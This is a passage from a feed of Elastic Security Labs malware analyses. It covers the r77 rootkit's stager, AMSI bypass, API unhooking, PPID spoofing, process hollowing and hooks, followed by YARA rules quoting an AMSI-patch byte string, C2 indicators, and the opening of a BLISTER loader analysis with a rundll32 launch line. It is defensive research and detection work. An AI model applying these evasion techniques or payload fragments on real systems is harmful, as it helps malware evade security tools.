<p>Its first task is to store the stager module PE in the registry, a technique commonly used by malware authors to persistently store their malicious code on a system. Once the stager module is stored in the registry, the installer module builds a PowerShell command that loads the stager module from the registry and executes it, the installer module then creates a scheduled task to run the PowerShell command.</p>
<p>The installer locates the stager module stored as a PE resource named <strong>EXE</strong> , it then creates a new registry key called <strong>$77stager</strong> in the <strong>HKEY_LOCAL_MACHINE\SOFTWARE</strong> hive and writes the stager module to the key.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blta9065177550c1272/6a7c81494c4bfb48edcc78ac/image2.jpg" alt="Writing the stager module to the registry" /></p>
<p>The installer then builds a PowerShell command to reflectively load the .NET stager in memory, using the <strong>[Reflection.Assembly]::Load</strong> method. Additionally, <a href="https://learn.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal">Microsoft’s Antimalware Scan Interface</a> (AMSI) is circumvented by patching the <strong>AmsiScanBuffer</strong> API so that it will always return an <a href="https://learn.microsoft.com/en-us/windows/win32/api/amsi/ne-amsi-amsi_result"><strong>AMSI_RESULT_CLEAN</strong></a> response. <strong>AMSI_RESULT_CLEAN</strong> means that the scanned content is “Known good. No detection found, and the result is likely not going to change after a future definition update.” The PowerShell command is then obfuscated by replacing variable names with random strings.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt58bb99e9cf4b572b/6a7c814c3ce8e2df65cef6ed/image7.jpg" alt="Obfuscated PowerShell command bypassing AMSI" /></p>
<p>Finally, the installer creates a scheduled task to execute the PowerShell command using COM objects, the task is configured to execute at startup with the SYSTEM account.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt19ee45b4f5bd66cf/6a7c814e2f00b21c61ef8e51/image6.jpg" alt="The installer module creates a scheduled task" /></p>
<h3 id="stagermodule">Stager module</h3>
<p>The stager is a .NET-based binary and it is responsible for unhooking DLLs, adjusting the SeDebugPrivilege setting, decrypting and decompressing the service module, and injecting the service module. This is accomplished using a process hollowing technique into a newly spawned process under another legitimate process through PPID spoofing.</p>
<h4 id="apiunhooking">API unhooking</h4>
<p>To defeat the userland inline API hooking set by endpoint solutions, the stager module first completely unhooks two important DLLs that contain the API used by the rootkit, namely <strong>NTDLL.dll</strong> and <strong>KERNEL32.dll</strong>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt287975d1b7fc6e7d/6a7c8146c33f4fccb6d54a46/image3.jpg" alt="Unhooking NTDLL and KERNEL32" /></p>
<p>This technique involves the following steps:</p>
<ol>
<li><strong>Retrieving the DLL</strong> : The stager module reads the target DLL file from the disk.</li>
<li><strong>Mapping the DLL to memory</strong> : The stager module creates a new file mapping using the CreateFileMapping function, which allows the DLL to be loaded into the process's memory.</li>
<li><strong>Analyzing the DLL's section table</strong> : The stager module analyzes the section table of the newly mapped DLL to identify the relevant section where the executable code (often referred to as the <strong>.text</strong> section) is stored.</li>
<li><strong>Overwriting the code section</strong> : Once the <strong>.text</strong> section is identified, the stager module replaces the contents of the corresponding section in the already loaded DLL with the code from the fresh <strong>.text</strong> section.</li>
</ol>
<h4 id="sedebugprivilege">SeDebugPrivilege</h4>
<p>The stager module next attempts to obtain the <strong>SeDebugPrivilege</strong> which allows it to inspect and adjust the memory of other processes.</p>
<p>This technique triggers Elastic’s <a href="https://www.elastic.co/guide/en/security/current/sedebugprivilege-enabled-by-a-suspicious-process.html">SeDebugPrivilege Enabled by a Suspicious Process</a> detection rule.</p>
<h4 id="servicemoduledecryptionanddecompression">Service module decryption and decompression</h4>
<p>Two versions of the same service module are stored in the resource section of the stager, a 32-bit and 64-bit version that will be deployed according to the system architecture.</p>
<p>The payload is compressed using the GZip compression algorithm and it uses a simple XOR for decryption. After decompression, the stager uses the first 4-bytes as an XOR key to decrypt the rest of the data.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt1e8a197edde3fe21/6a7c815296b5a67648875574/image4.jpg" alt="Decrypting the payload" /></p>
<h4 id="parentpidspoofing">Parent PID spoofing</h4>
<p>To make the process hollowing injection appear legitimate, the parent PID spoofing technique is used to evade threat hunters and security tooling. This technique allows attackers to run processes under any parent process they want.</p>
<p>The malware first gets the process ID of the running <strong>winlogon.exe</strong> process which is a component of the Microsoft Windows operating system.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt36a73f959eb24136/6a7c815542a1175a509560d0/image1.jpg" alt="Retrieving the winlogon.exe process ID" /></p>
<p>It then uses 5 Windows APIs:</p>
<ol>
<li><strong>OpenProcess</strong> : Get the parent process handle.</li>
<li><strong>InitializeProcThreadAttributeList</strong> : Initialize the attribute list.</li>
<li><strong>UpdateProcThreadAttribute:</strong> Set the parent process handle via the <strong>PROC_THREAD_ATTRIBUTE_PARENT_PROCESS</strong> attribute.</li>
<li><strong>CreateProcess:</strong> Creates a new process under the spoofed parent</li>
</ol>
<p>This technique triggers Elastic’s <a href="https://www.elastic.co/guide/en/security/current/parent-process-pid-spoofing.html">Parent Process PID Spoofing</a> detection rule.</p>
<h4 id="processhollowing">Process hollowing</h4>
<p>The malware leverages the process hollowing technique to inject its payload into a legitimate-looking Microsoft process, it chooses either <strong>C:\Windows\System32\dllhost.exe</strong> or <strong>C:\Windows\SysWow64\dllhost.exe</strong> depending on the malware and the machine architecture. To further obfuscate its presence, the malware generates a random GUID and generates a command line string, assigning it to the newly created process. This command line string includes the <strong>/processid:</strong> parameter and the GUID to mimic the behavior of a genuine <strong>dllhost.exe</strong> process and make it more difficult to detect.</p>
<p>![Malware executing the process hollowing technique](/assets/images/elastic-security-labs-steps-through-the-r77-rootkit/image9.jpg</p>
<h3 id="servicemodule">Service module</h3>
<p>The service module is another essential component of the r77 rootkit responsible for carrying out critical tasks such as configuration setup in the registry. One of the primary tasks of the service module is to inject the rootkit's core into every running process on the system.</p>
<h4 id="unhookingdlls">Unhooking DLLs</h4>
<p>Using the same technique used in the stager, the binary unhooks both <strong>NTDLL.dll</strong> and <strong>KERNEL32.dll</strong>.</p>
<h4 id="configsetup">Config setup</h4>
<p>The service module stores the configuration as registry entries; it first creates a key in the <strong>HKEY_LOCAL_MACHINE**</strong> SOFTWARE\$77config** file that can be modified by any user on the machine.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt64686db16ea1fb8b/6a7c8157b43770f5004d1010/image10.jpg" alt="Creating the first configuration registry key" /></p>
<p>It then stores the current process ID running the service module as a value in a registry key named either <strong>“svc32”</strong> or <strong>“svc64”</strong> under the key <strong>HKEY_LOCAL_MACHINE**</strong> SOFTWARE\$77config\pid**. The svc32/64 key name is based on the system architecture.</p>
<h4 id="injectingthecorerootkit">Injecting the core rootkit</h4>
<p>The final task of the service module is to create two callbacks that are responsible for injecting the final rookit’s core. The core is a DLL stored as a resource in every running process except a handful specified by the threat actor in the configuration before compiling the rootkit.</p>
<p>The first callback is responsible for injection into every running process of the rootkit’s core, it does that by enumerating all running processes every 100 ms.</p>
<p>The second callback is responsible for injection into newly created child processes of already infected parent processes, an inter-process communication between the service and an infected process is used to catch child process creation.</p>
<p>The rootkit’s core hooks multiple Windows APIs. One of the important APIs is <strong>NtResumeThread</strong>. A parent process calls this API to start the thread execution after the creation of the child process, the installed hook sends the child’s PID to the service module through a named PIPE, in turn, the service module injects into it if the conditions allow it.</p>
<p>The threat actors purposely avoid injection into these specific processes:</p>
<ul>
<li><strong>MSBuild.exe</strong></li>
<li><strong>Services.exe</strong></li>
<li><strong>regsvr32.exe</strong></li>
<li><strong>Svchost.exe</strong></li>
<li><strong>WmiPrvSE.exe</strong></li>
<li><strong>OffOn.exe</strong></li>
<li><strong>OnOff.exe</strong></li>
<li><strong>rutserv.exe</strong></li>
<li><strong>rfusclient.exe</strong></li>
<li><strong>RMS.exe</strong></li>
<li><strong>msiexec.exe</strong></li>
<li><strong>Ma_ss.exe</strong></li>
<li><strong>masscan.exe</strong></li>
<li><strong>NLBrute.exe</strong></li>
<li><strong>run.exe</strong></li>
<li><strong>Checker.exe</strong></li>
<li><strong>Xfit.exe</strong></li>
<li><strong>cracker64.exe</strong></li>
<li><strong>SSH_Checker.exe</strong></li>
<li><strong>ViewLog.exe</strong></li>
</ul>
<h3 id="therootkitscore">The rootkit’s core</h3>
<p>The last module is the core module, responsible for installing hooks on important Windows APIs and filtering the output of said APIs according to the rootkit’s configuration. It is a DLL loaded into running processes by the service module. Its main purpose is to set hooks using the <a href="https://github.com/microsoft/Detours">Detours</a> project on important Windows API namely</p>
<ul>
<li><strong>NtQuerySystemInformation</strong></li>
<li><strong>NtResumeThread</strong></li>
<li><strong>NtQueryDirectoryFile</strong></li>
<li><strong>NtQueryDirectoryFileEx</strong></li>
<li><strong>NtEnumerateKey</strong></li>
<li><strong>NtEnumerateValueKey</strong></li>
<li><strong>EnumServiceGroupW</strong></li>
<li><strong>EnumServicesStatusExW</strong></li>
<li><strong>NtDeviceIoControlFile</strong></li>
</ul>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt97ff585491112fc0/6a7c815a51156a790b2bc8c9/image8.jpg" alt="Hooking NT Windows APIs" /></p>
<p>These Native Windows APIs are used to enumerate/fetch information about the system, an example of that is <strong>regedit</strong> which relies heavily on <strong>NtEnumerateKey</strong> and <strong>NtEnumerateValueKey</strong> to enumerate the system’s registry keys. The installed hook is capable of enumerating the keys and filtering out keys that are configured by the threat actors, the rest is forwarded to the <strong>regedit</strong> process.</p>
<p>By filtering the output of the Windows APIs, the core module is able to selectively hide specific files, processes, or registry keys from the system's users and security tools.</p>
<h3 id="packedpowershell">Packed PowerShell</h3>
<p>Upon further examination, our team discovered an additional binary file within the miner campaign: <strong>$77_loader.exe</strong>. This file, which was packed with <a href="https://www.sapien.com/software/powershell_studio">SAPIEN PowerShell Studio</a>, is a .NET binary that loads an embedded PowerShell script and executes it. This PowerShell script serves as the orchestrator for the entire miner campaign, directing the various processes and actions necessary to successfully install and operate a legitimate and popular crypto miner. The PowerShell script was responsible for downloading a compiled version of the open source <a href="https://github.com/xmrig/xmrig">XMRIG miner</a>. Specifically, the version used in this campaign was <strong>6.15.2</strong> , which was released in October 2021. Interestingly, the download appeared to originate from the domain <strong>msupdate[.]info</strong>, a well-documented and malicious domain.</p>
<p>![PowerShell script attempt to download XMRIG](/assets/images/elastic-security-labs-steps-through-the-r77-rootkit/image9.jpg</p>
<p>The script included code to configure and execute the r77 rootkit and was responsible for opening specific firewall ports including <strong>703</strong> , <strong>708</strong> , <strong>757</strong> , <strong>999</strong> , <strong>8080</strong> , <strong>443</strong> , <strong>80</strong> , <strong>14444</strong> , <strong>24444</strong> , and <strong>34444</strong>. The script also downloaded and set up the <a href="https://ru.wikipedia.org/wiki/Remote_Manipulator_System">Remote Manipulator System</a> (RMS) tool, a closed source program for remote administration, developed by the Russian company TektonIT, which could be used to remotely control the infected machine and issue commands from a remote location. Finally, the script created a new admin user ( <strong>adm</strong> ) on the targeted system, which could potentially be used to carry out additional attacks or exfiltrate sensitive data.</p>
<h2 id="detectionlogic">Detection logic</h2>
<h3 id="prevention">Prevention</h3>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_parent_process_pid_spoofing.toml">Parent Process PID Spoofing</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_suspicious_parent_child_relationship.toml">Unusual Parent-Child Relationship</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/execution_unusual_powershell_engine_imageload.toml">Suspicious PowerShell Engine ImageLoad</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/privilege_escalation_privilege_escalation_via_extended_startupinfo.toml">Privilege Escalation via EXTENDED STARTUPINFO</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_unusual_process_running_as_antimalware_protected.toml">Unusual Process Running as Antimalware Protected</a></li>
</ul>
<h3 id="detection">Detection</h3>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_parent_process_pid_spoofing.toml">Parent Process PID Spoofing</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/privilege_escalation_unusual_parentchild_relationship.toml">Unusual Parent-Child Relationship</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/execution_suspicious_powershell_imgload.toml">Suspicious PowerShell Engine ImageLoad</a></li>
<li><a href="https://www.elastic.co/guide/en/security/current/process-created-with-an-elevated-token.html">Process Created with an Elevated Token</a></li>
</ul>
<h3 id="yara">YARA</h3>
<p>Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the r77 rootkit.</p>
<pre><code>rule Windows_Rootkit_R77_1 {
    meta:
        author = "Elastic Security"
        creation_date = "2022-03-04"
        last_modified = "2022-04-12"
        license = "Elastic License v2"
        os = "Windows"
        arch = "x86"
        category_type = "Rootkit"
        family = "R77"
        threat_name = "Windows.Rootkit.R77"
        reference_sample = "cfc76dddc74996bfbca6d9076d2f6627912ea196fdbdfb829819656d4d316c0c"

    strings:
        $a = { 01 04 10 41 8B 4A 04 49 FF C1 48 8D 41 F8 48 D1 E8 4C 3B C8 }
    condition:
        all of them
}

rule Windows_Rootkit_R77_2 {
    meta:
        author = "Elastic Security"
        creation_date = "2023-05-09"
        last_modified = "2023-05-09"
        license = "Elastic License v2"
        os = "Windows"
        arch = "x86"
        category_type = "Rootkit"
        family = "R77"
        threat_name = "Windows.Rootkit.R77"
        reference_sample = "21e7f69986987fc75bce67c4deda42bd7605365bac83cf2cecb25061b2d86d4f"

    strings:
        $a1 = { 8C 20 88 00 00 00 42 8B 44 21 10 42 8B 4C 21 1C 48 2B D0 49 }
        $a2 = { 53 00 4F 00 46 00 54 00 57 00 41 00 52 00 45 00 5C 00 24 00 37 00 37 00 63 00 6F 00 6E 00 66 00 69 00 67 00 }
    condition:
        all of them
}

rule Windows_Rootkit_R77_3 {
    meta:
        author = "Elastic Security"
        creation_date = "2023-05-09"
        last_modified = "2023-05-09"
        license = "Elastic License v2"
        os = "Windows"
        arch = "x86"
        category_type = "Rootkit"
        family = "R77"
        threat_name = "Windows.Rootkit.R77"
        reference_sample = "3dc94c88caa3169e096715eb6c2e6de1b011120117c0a51d12f572b4ba999ea6"

    strings:
        $a1 = { 5C 00 5C 00 2E 00 5C 00 70 00 69 00 70 00 65 00 5C 00 24 00 37 00 37 00 63 00 68 00 69 00 6C 00 64 00 70 00 72 00 6F 00 63 00 36 00 34 00 }
        $a2 = { 5C 00 5C 00 2E 00 5C 00 70 00 69 00 70 00 65 00 5C 00 24 00 37 00 37 00 63 00 68 00 69 00 6C 00 64 00 70 00 72 00 6F 00 63 00 33 00 32 00 }
    condition:
        all of them
}

rule Windows_Rootkit_R77_4 {
    meta:
        author = "Elastic Security"
        creation_date = "2023-05-18"
        last_modified = "2023-05-18"
        license = "Elastic License v2"
        os = "Windows"
        arch = "x86"
        category_type = "Rootkit"
        family = "R77"
        threat_name = "Windows.Rootkit.R77"
        reference_sample = "91c6e2621121a6871af091c52fafe41220ae12d6e47e52fd13a7b9edd8e31796"

    strings:
        $a = { 33 C9 48 89 8C 24 C0 00 00 00 4C 8B CB 48 89 8C 24 B8 00 00 00 45 33 C0 48 89 8C 24 B0 00 00 00 48 89 8C 24 A8 00 00 00 89 8C 24 A0 00 00 00 }
    condition:
        $a
}

rule Windows_Rootkit_R77_5 {
    meta:
        author = "Elastic Security"
        creation_date = "2023-05-18"
        last_modified = "2023-05-18"
        license = "Elastic License v2"
        os = "Windows"
        arch = "x86"
        category_type = "Rootkit"
        family = "R77"
        threat_name = "Windows.Rootkit.R77"
        reference_sample = "916c805b0d512dd7bbd88f46632d66d9613de61691b4bd368e4b7cb1f0ac7f60"

    strings:
        $r77_str0 = "$77stager" wide fullword
        $r77_str1 = "$77svc32" wide fullword
        $r77_str2 = "$77svc64" wide fullword
        $r77_str3 = "\\\\.\\pipe\\$77childproc64" wide fullword
        $r77_str4 = "SOFTWARE\\$77config"
        $obfuscate_ps = { 0F B7 04 4B 33 D2 C7 45 FC 34 00 00 00 F7 75 FC 66 8B 44 55 90 66 89 04 4B 41 3B CE }
        $amsi_patch_ps = "[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3)" wide fullword
    condition:
        ($obfuscate_ps and $amsi_patch_ps) or (all of ($r77_str*))
}

rule Windows_Rootkit_R77_6 {
    meta:
        author = "Elastic Security"
        creation_date = "2023-05-18"
        last_modified = "2023-05-18"
        license = "Elastic License v2"
        os = "Windows"
        arch = "x86"
        category_type = "Rootkit"
        family = "R77"
        threat_name = "Windows.Rootkit.R77"
        reference_sample = "96849108e13172d14591169f8fdcbf8a8aa6be05b7b6ef396d65529eacc02d89"

    strings:
        $str0 = "service_names" wide fullword
        $str1 = "process_names" wide fullword
        $str2 = "tcp_local" wide fullword
        $str3 = "tcp_remote" wide fullword
        $str4 = "startup" wide fullword
        $str5 = "ReflectiveDllMain" ascii fullword
        $str6 = ".detourd" ascii fullword
        $binary0 = { 48 8B 10 48 8B 0B E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8B 57 08 48 8B 4B 08 E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8B 57 10 48 8B 4B 10 E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8B 57 18 48 8B 4B 18 E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8B 57 20 48 8B 4B 20 E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8B 57 28 48 8B 4B 28 E8 ?? ?? ?? ?? 85 C0 }
        $binary1 = { 8B 56 04 8B 4F 04 E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 56 08 8B 4F 08 E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 56 0C 8B 4F 0C E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 56 10 8B 4F 10 E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 56 14 8B 4F 14 E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 56 18 8B 4F 18 E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 56 1C 8B 4F 1C }
    condition:
        (all of ($str*)) or $binary0 or $binary1
}
</code></pre>
<h2 id="references">References</h2>
<p>The following were referenced throughout the above research</p>
<ul>
<li><a href="https://github.com/microsoft/Detours">https://github.com/microsoft/Detours</a></li>
<li><a href="https://github.com/xmrig/xmrig">https://github.com/xmrig/xmrig</a></li>
<li><a href="https://ru.wikipedia.org/wiki/Remote_Manipulator_System">https://ru.wikipedia.org/wiki/Remote_Manipulator_System</a></li>
</ul>
<h2 id="observations">Observations</h2>
<p>All observables are also available for <a href="https://github.com/elastic/labs-releases/tree/main/indicators/r77">download</a> in both ECS and STIX format.</p>
<p>The following observables were discussed in this research.</p>
<p>| Indicator                                                        | Type    | Name            | Reference                               |
| ---------------------------------------------------------------- | ------- | --------------- | --------------------------------------- |
| msupdate[.]info                                                  | Domain  | n/a             | C2                                      |
| 5.133.65.53                                                      | IPV4    | n/a             | C2                                      |
| 5.133.65.54                                                      | IPV4    | n/a             | C2                                      |
| 5.133.65.55                                                      | IPV4    | n/a             | C2                                      |
| 5.133.65.56                                                      | IPV4    | n/a             | C2                                      |
| 916c805b0d512dd7bbd88f46632d66d9613de61691b4bd368e4b7cb1f0ac7f60 | SHA-256 | $77_Install.exe | Installer module                        |
| 9fb38412cac94255a3abbec80f15620098a0c85247690850c302a9ff060b5c0c | SHA-256 | n/a             | Stager module                           |
| 96849108e13172d14591169f8fdcbf8a8aa6be05b7b6ef396d65529eacc02d89 | SHA-256 | n/a             | 64 bit core module                      |
| aeb6a7b9ca890dc08259d7c239eb188e466210d48a17640671cba398bf69392f | SHA-256 | n/a             | 32 bit core module                      |
| 91c6e2621121a6871af091c52fafe41220ae12d6e47e52fd13a7b9edd8e31796 | SHA-256 | n/a             | 64 bit service module                   |
| 29bc88a316e3f34ed29c5358e459b9fbf3b7962a72cac388ab5c977dd990ea77 | SHA-256 | n/a             | 32 bit Service module                   |
| 10165e27e0db0a6708f346ddea657ab0409499f93eb8426a80864a966f0f401e | SHA-256 | RMS.exe         | Remote Manipulator System(RMS)          |
| 757fa687a9b4d461ffda78d93e4d812003307a9b9747dce7fb469625429cc551 | SHA-256 | $77_oracle.exe  | XMRIG miner                             |
| a7e31abe10be6bca44f0a846d631e578efe78c14f6bf1cf834cfb15469fc1d3a | SHA-256 | $77_Loader.exe  | .NET binary loading a PowerShell script |</p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/threat-command/elastic-security-labs-steps-through-the-r77-rootkit</link>
    <guid isPermaLink="false">elastic-security-labs-steps-through-the-r77-rootkit</guid>
    <category><![CDATA[Malware Analysis]]></category>
    <dc:creator><![CDATA[Salim Bitam]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt59e169ea5eeb53f5/6a7c815d227b1cc290592694/photo-edited-06@2x.jpg" length="0" type="image/jpeg"/>
    <pubDate>Mon, 22 May 2023 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[BLISTER Loader]]></title>
    <description><![CDATA[The BLISTER loader continues to be actively used to load a variety of malware.]]></description>
    <content:encoded><![CDATA[<h2 id="keytakeaways">Key Takeaways</h2>
<ul>
<li>BLISTER is a loader that continues to stay under the radar, actively being used to load a variety of malware including clipbankers, information stealers, trojans, ransomware, and shellcode</li>
<li>In-depth analysis shows heavy reliance of Windows Native API’s, several injection capabilities, multiple techniques to evade detection, and counter static/dynamic analysis</li>
<li>Elastic Security is providing a configuration extractor that can be used to identify key elements of the malware and dump the embedded payload for further analysis</li>
<li>40 days after the initial reporting on the BLISTER loader by Elastic Security, we observed a change in the binary to include additional architectures. This shows that this is an actively developed tool and the authors are watching defensive countermeasures</li>
</ul>
<blockquote>
  <p>For information on the BLISTER malware loader and campaign observations, check out our blog post and configuration extractor detailing this:</p>
  <ul>
  <li><a href="https://www.elastic.co/security-labs/elastic-security-uncovers-blister-malware-campaign">BLISTER Campaign Analysis</a></li>
  <li><a href="https://www.elastic.co/security-labs/blister-configuration-extractor">BLISTER Configuration Extractor</a></li>
  </ul>
</blockquote>
<h2 id="overview">Overview</h2>
<p>The Elastic Security team has continually been monitoring the BLISTER loader since our initial <a href="https://www.elastic.co/blog/elastic-security-uncovers-blister-malware-campaign">release</a> at the end of last year. This family continues to remain largely unnoticed, with low detection rates on new samples.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt591b863efb877ad7/6a7c791442a1173813955f8f/blister-loader-image37.jpg" alt="Example of BLISTER loader detection rates" title="Example of BLISTER loader detection rates" /></p>
<p>A distinguishing characteristic of BLISTER’s author is their method of tampering with legitimate DLLs to bypass static analysis. During the past year, Elastic Security has observed the following legitimate DLL’s patched by BLISTER malware:</p>
<p>| Filename       | Description                                                        |
| -------------- | ------------------------------------------------------------------ |
| dxgi.dll       | DirectX Graphics Infrastructure                                    |
| WIAAut.DLL     | WIA Automation Layer                                               |
| PowerCPL.DLL   | Power Options Control Panel                                        |
| WIMGAPI.DLL    | Windows Imaging Library                                            |
| rdpencom.dll   | RDPSRAPI COM Objects                                               |
| colorui.dll    | Microsoft Color Control Panel.                                     |
| termmgr.dll    | Microsoft TAPI3 Terminal Manager                                   |
| libcef.dll     | Chromium Embedded Framework (CEF) Dynamic Link Library             |
| CEWMDM.DLL     | Windows CE WMDM Service Provider                                   |
| intl.dll       | LGPLed libintl for Windows NT/2000/XP/Vista/7 and Windows 95/98/ME |
| vidreszr.dll   | Windows Media Resizer                                              |
| sppcommdlg.dll | Software Licensing UI API                                          |</p>
<p>Due to the way malicious code is embedded in an otherwise benign application, BLISTER may be challenging for technologies that rely on some forms of machine learning. Combined with code-signing defense evasion, BLISTER appears designed with security technologies in mind.</p>
<p>Our research shows that BLISTER is actively developed and has been <a href="https://www.trendmicro.com/en_us/research/22/d/Thwarting-Loaders-From-SocGholish-to-BLISTERs-LockBit-Payload.html?utm_source=trendmicroresearch&amp;utm_medium=smk&amp;utm_campaign=0422_Socgholish">linked</a> in public reporting to <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.lockbit">LockBit</a> ransomware and the <a href="https://redcanary.com/threat-detection-report/threats/socgholish/">SocGholish</a> framework; in addition, Elastic has also observed BLISTER in relation to the following families: <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey">Amadey</a>, <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.bit_rat">BitRAT</a>, <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.clipbanker">Clipbanker</a>, <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.cobalt_strike">Cobalt Strike</a>, <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.remcos">Remcos</a>, and <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.raccoon">Raccoon</a> along with others.</p>
<p>In this post, we will explain how BLISTER continues to operate clandestinely, highlight the loader’s core capabilities (injection options, obfuscation, and anti-analysis tricks) as well as provide a configuration extractor that can be used to dump BLISTER embedded payloads.</p>
<p>Consider the following <a href="https://www.virustotal.com/gui/file/afb77617a4ca637614c429440c78da438e190dd1ca24dc78483aa731d80832c2">sample</a> representative of BLISTER for purposes of this analysis. This sample was also used to develop the initial BLISTER family YARA signature, the configuration extraction script, and evaluate tools against against unknown x32 and x64 BLISTER samples.</p>
<h2 id="executionflow">Execution Flow</h2>
<p>The execution flow consists of the following phases:</p>
<ul>
<li>Deciphering the second stage</li>
<li>Retrieving configuration and packed payload</li>
<li>Payload unpacking</li>
<li>Persistence mechanisms</li>
<li>Payload injection</li>
</ul>
<h3 id="launchentrypoint">Launch / Entry Point</h3>
<p>During the first stage of the execution flow, BLISTER is embedded in a legitimate version of the <a href="https://www.virustotal.com/gui/file/1068e40851b243a420cb203993a020d0ba198e1ec6c4d95f0953f81e13046973/details">colorui.dll</a> library. The threat actor, with a previously achieved foothold, uses the Windows built-in rundll32.exe utility to load BLISTER by calling the export function <strong>LaunchColorCpl</strong> :</p>
<pre><code>Rundll32 execution arguments

rundll32.exe "BLISTER.dll,LaunchColorCpl"
</code></pre>
<p>The image below demonstrates how BLISTER’s DLL is modified, noting that the export start is patched with a function call (line 17) to the malware entrypoint.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt6af08e3fd0480077/6a7c7917448e4eb1fe5baa16/blister-loader-image13.jpg" alt="Export of Patched BLISTER DLL" title="Export of Patched BLISTER DLL" /></p>
<p>If we compare one of these malicious loaders to the original DLL they masquerade as, we can see where the patch was made, the function no longer exists:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt19e3524cbcd25c57/6a7c791a5967e5bf765d741e/blister-loader-image11.jpg" alt="Export of Original DLL Used by BLISTER" title="Export of Original DLL Used by BLISTER" /></p>
<h3 id="decipheringsecondstage">Deciphering Second Stage</h3>
<p>BLISTER’s second stage is ciphered in its <a href="https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#the-rsrc-section">resource section</a> (.rsrc).</p>
<p>The deciphering routine begins with a loop based sleep to evade detection:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt87e4faf1fa5deea3/6a7c791d2f00b2a364ef8d07/blister-loader-image35.jpg" alt="Initial Sleep Mechanism" title="Initial Sleep Mechanism" /></p>
<p>BLISTER then enumerates and hashes each export of ntdll, comparing export names against loaded module names; searching specifically for the <strong>NtProtectVirtualMemory</strong> API:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltab236b66d914f1eb/6a7c792073d9bd8898297aea/blister-loader-image40.jpg" alt="API Hash" title="API Hash" /></p>
<p>Finally, it looks for a memory region of 100,832 bytes by searching for a specific memory pattern, beginning its search at the return address and leading us in the .rsrc section. When found, BLISTER performs an eXclusive OR (XOR) operation on the memory region with a four-byte key, sets it’s page protection to PAGE_EXECUTE_READ with a call to NtProtectVirtualMemory, and call its second stage entry point with the deciphering key as parameter:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltf9268e214e8738fd/6a7c79226c6eac5145f0e2e1/blister-loader-image49.jpg" alt="Memory Tag &amp; Memory Region Setup" title="Memory Tag &amp; Memory Region Setup" /></p>
<h3 id="obfuscation">Obfuscation</h3>
<p>BLISTER’s second-stage involves obfuscating functions, scrambling their control flow by splitting their basic blocks with unconditional jumps and randomizing basic blocks’ locations. An example of which appears below.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltccd269ecc17dd99f/6a7c79259f52517675663f18/blister-loader-image6.jpg" alt="Function’s Control Flow Scrambling" title="Function’s Control Flow Scrambling" /></p>
<p>BLISTER inserts junk code into basic blocks as yet another form of defense evasion, as seen below.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blta9f2d9421064d800/6a7c792880ee38523f60d060/blister-loader-image30.jpg" alt="Junk Code Insertion" title="Junk Code Insertion" /></p>
<h3 id="retrievingconfigurationandpackedpayload">Retrieving Configuration and Packed Payload</h3>
<p>BLISTER uses the previous stage’s four-byte key to locate and decipher its configuration.</p>
<p>The routine begins by searching its memory, beginning at return address, for its four-byte key XORed with a hardcoded value as memory pattern:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt8d84957424b862e0/6a7c792a437e0f70bddd5498/blister-loader-image24.jpg" alt="Memory pattern search loop" title="Memory pattern search loop" /></p>
